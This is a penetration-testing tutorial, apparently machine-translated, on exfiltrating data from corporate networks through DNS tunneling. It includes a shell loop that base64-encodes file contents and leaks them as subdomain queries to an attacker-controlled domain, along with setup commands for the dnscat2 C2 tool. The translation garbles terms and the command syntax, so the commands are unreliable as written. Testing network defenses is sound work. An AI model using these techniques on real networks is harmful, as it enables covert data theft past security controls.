Data for the corporate network dark attack and defense war

Data for the corporate network dark attack and defense war. Data caching, also known as data extrusion, refers to the transfer of data from a computer without authorization. For the corporate network, these types of attacks can be done manually, such as using a USB drive; in addition, this attack can also be automated, when the need to use the network to transfer data. In this article, we will highlight the web-based data caching techniques used during penetration testing, along with the corresponding security hardening measures.

Tunneling technology

As an attacker, we assume that we do not have valid domain credentials. This means we can not use company agents to send data out. At the same time, we can not reveal sensitive information if we are not connected to the Internet. Therefore, under such circumstances, tunnel technology can play a very important role.

Instead of sending data packets directly over the network, tunneling technology sends data over another (usually encrypted) connection through encapsulation. Since the actual data is transmitted over the network through different protocols, there is a chance to reach the Internet.

Depending on the type of protocol used, the names of the tunnels may vary and in this article we will cover some of the most common types.

DNS tunnel

Before introducing the DNS tunnel, let's first introduce some very simple but important lessons.

➜ ~ cat /etc/resolv.conf|grep -v '#'

domain acme.local

nameserver 192.168.1.1

nameserver 192.168.1.2

First, we have to identify the internal DNS server. This is easy, here are some tests. We need to answer the following questions.

Can we communicate with the internal DNS?

Can we resolve internal domains through corporate DNS?

Can we resolve external domains via internal DNS (for example: pentest.club)?

Can we communicate directly with external DNS?

➜ ~ nslookup acmebank.local

Server: 192.168.1.1

Address: 192.168.1.1 # 53

Name: acmebank.local

Address: 192.168.10.12

➜ ~ nslookup google.com

Server: 192.168.1.1

Address: 192.168.1.1 # 53

Non-authoritative answer:

Name: google.com

Address: 216.58.209.14

➜ ~ nslookup pentest.blog 8.8.8.8

Server: 8.8.8.8

Address: 8.8.8.8 # 53

Non-authoritative answer:

Name: pentest.blog

Address: 104.27.169.40

Name: pentest.blog

Address: 104.27.168.40

The result of the first command shows that we can resolve the inner domain; the result of the second command shows that we can resolve the outer domain through the corporate DNS server. This means we can implement the DNS tunnel, but I would like to remind everyone of the 3rd command. Most secure networks do not allow communication with external DNS. This is another security issue if the network allows this, and as a penetration tester, you have to point it out separately!

How does a DNS tunnel work?

This article not only provides a very detailed diagram, but we also give a detailed explanation of each step.

1. Assume that the penetration tester has control over a domain, such as hacker.com, and has full control over it. Penetration testers send DNS requests to the internal DNS server to resolve hacker.com

2. The authoritative DNS server at hacker.com is located elsewhere on the internet. Therefore, it redirects the corresponding request to the root server through the firewall.

3. After several redirects, the DNS request finally reached the authoritative DNS server at hacker.com, a site dominated by testers.

4. Since this request was generated by penetration testers, it does not matter what the response is.

5. The response reaches the internal DNS server

6. Finally, penetration testers will receive the response.

This process, in fact, can be used to communicate with servers outside the corporate network. So far, we have just found a way to communicate with external servers. However, let's start with how to infiltrate data. At the same time, we assume that we have obtained some sensitive data as shown below.

➜ ~ cat sensitive.txt

Alice

Bob

John

At the same time, we want to leak these secrets through the Internet, even though the setup of these networks is relatively secure.

1

for i in $ (cat sensitive.txt); do d = $ (echo $ i | base64) && nslookup $ d.hacker.com; done

The above shell command reads the file containing the sensitive information line-by-line. Then base64 encode each line of content. It is then used as a subdomain during DNS queries. In this way, once the query arrives at the authoritative DNS server at hacker.com, we can capture the corresponding DNS logs and parse the logs to obtain subdomains, resulting in the corresponding sensitive data. This technique is useful, but it has the following limitations.

This is a one-way communication. We can not send back a command from C2 (authoritative DNS)

While reading the file is easy, what happens when 100MB of data needs to be handled? DNS packets may arrive in a different order.

Therefore, we need a tool to solve all the problems. Fortunately, we are using dnscat2.

How to configure and use Dnscat2?

Dnscat2 provides client and server applications. Here's the command needed to build a DNS2 server.

~ git clone https://github.com/iagox86/dnscat2.git

~ cd dnscat2 / server /

~ gem install bundler

~ bundle install

Here are the specific commands required to install the client program on the corporate network.

root @ pentest: ~ # git clone https://github.com/iagox86/dnscat2.git

root @ pentest: ~ # cd dnscat2 / client /

root @ pentest: dnscat2 / client / # make

Once everything is ready, we can now start the Dnscat2 server as shown below.

root @ khaleesi: / opt / dnscat2 / server # ruby ​​dnscat2.rb opendns.online

New window created: 0

dnscat2> New window created: crypto-debug

Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false

history_size (for new windows) => 1000

Security policy changed: All connections must be encrypted

New window created: dns1

Starting Dnscat2 DNS server on 0.0.0.0:53

[domains = opendns.online] ...

Assuming you have an authoritative DNS server, you can run

the client anywhere with the following (--secret is optional):

./dnscat --secret = 7040f6248e601519a9ebfb761e2402e3 opendns.online

To talk directly to the server without a domain name, run:

./dnscat --dns server = xxxx, port = 53 --secret = 7040f6248e601519a9ebfb761e2402e3

Of course, you have to figure out yourself! Clients

will connect directly to UDP port 53.

opendns.online is a domain name under the control of a penetration tester. In addition, it is important to have the authoritative DNS server generate a key for opendns.online. This key will be used as a "shared secret" to encrypt traffic during the tunnel. In addition, dnscat also provides two different client commands. Even if you can send DNS queries to external servers, do not forget that most secure networks do not allow anyone to use external DNS services.